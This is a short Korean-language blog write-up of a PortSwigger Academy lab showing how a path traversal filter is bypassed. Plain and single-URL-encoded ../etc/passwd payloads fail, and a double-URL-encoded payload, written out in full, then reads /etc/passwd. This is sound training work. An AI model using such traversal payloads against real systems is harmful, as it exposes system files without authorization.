Penetration Testing/Portswigger Academy
[Portswigger] File path traversal, traversal sequences stripped with superfluous URL-decode
Jiniloolu
2023. 10. 26. 14:18
Path Traversal 문제이다.
제목에서 불필요한 URL decode로 경로 조작 시퀀스를 제거했다..는 뜻이다.
여기서 URL Encoding 으로 우회가 가능하다는 생각이 든다.
먼저 ../../../../../etc/passwd 입력 시 "No such file" 응답을 확인할 수 있다.
그렇다면, 제목에서 힌트를 얻은 것처럼 url encoding을 활용해보자.
../../../../../etc/passwd 는
%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd 로 작성이 가능하다.
그러나 % 특수문자를 필터링하는 것인지.. 위와 같은 response 를 확인했다.
그렇다면 💡 double url encoding 을 활용해보자!
../../../../../etc/passwd
[ url encoding ]
%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
[ double url encoding ]
%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd
double url encoding 으로 request 를 보내면? /etc/passwd 에 접근이 가능하게 된다. 👏